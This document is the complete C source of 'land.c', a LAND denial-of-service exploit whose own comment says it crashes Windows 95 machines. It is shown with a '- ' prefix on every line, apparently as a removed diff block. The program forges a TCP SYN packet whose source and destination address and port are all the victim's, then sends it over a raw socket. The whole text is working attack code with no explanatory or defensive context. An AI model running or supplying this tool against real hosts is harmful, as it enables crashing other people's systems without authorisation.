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- /* land.c by m3lt, FLC
- crashes a win95 box */
-
- #include <stdio.h>
- #include <netdb.h>
- #include <arpa/inet.h>
- #include <netinet/in.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/ip_tcp.h>
- #include <netinet/protocols.h>
-
- struct pseudohdr
- {
- struct in_addr saddr;
- struct in_addr daddr;
- u_char zero;
- u_char protocol;
- u_short length;
- struct tcphdr tcpheader;
- };
-
- u_short checksum(u_short * data,u_short length)
- {
- register long value;
- u_short i;
-
- for(i=0;i<(length>>1);i++)
- value+=data[i];
-
- if((length&1)==1)
- value+=(data[i]<<8);
-
- value=(value&65535)+(value>>16);
-
- return(~value);
- }
-
- int main(int argc,char * * argv)
- {
- struct sockaddr_in sin;
- struct hostent * hoste;
- int sock;
- char buffer[40];
- struct iphdr * ipheader=(struct iphdr *) buffer;
- struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
- struct pseudohdr pseudoheader;
-
- fprintf(stderr,"land.c by m3lt, FLC\n");
-
- if(argc<3)
- {
- fprintf(stderr,"usage: %s IP port\n",argv[0]);
- return(-1);
- }
-
- bzero(&sin,sizeof(struct sockaddr_in));
- sin.sin_family=AF_INET;
-
- if((hoste=gethostbyname(argv[1]))!=NULL)
- bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
- else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
- {
- fprintf(stderr,"unknown host %s\n",argv[1]);
- return(-1);
- }
-
- if((sin.sin_port=htons(atoi(argv[2])))==0)
- {
- fprintf(stderr,"unknown port %s\n",argv[2]);
- return(-1);
- }
-
- if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
- {
- fprintf(stderr,"couldn't allocate raw socket\n");
- return(-1);
- }
-
- bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
- ipheader->version=4;
- ipheader->ihl=sizeof(struct iphdr)/4;
- ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
- ipheader->id=htons(0xF1C);
- ipheader->ttl=255;
- ipheader->protocol=IP_TCP;
- ipheader->saddr=sin.sin_addr.s_addr;
- ipheader->daddr=sin.sin_addr.s_addr;
-
- tcpheader->th_sport=sin.sin_port;
- tcpheader->th_dport=sin.sin_port;
- tcpheader->th_seq=htonl(0xF1C);
- tcpheader->th_flags=TH_SYN;
- tcpheader->th_off=sizeof(struct tcphdr)/4;
- tcpheader->th_win=htons(2048);
-
- bzero(&pseudoheader,12+sizeof(struct tcphdr));
- pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
- pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
- pseudoheader.protocol=6;
- pseudoheader.length=htons(sizeof(struct tcphdr));
- bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
- tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
-
- if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct
- sockaddr_in))==-1)
- {
- fprintf(stderr,"couldn't send packet\n");
- return(-1);
- }
-
- fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
-
- close(sock);
- return(0);
- }
-
-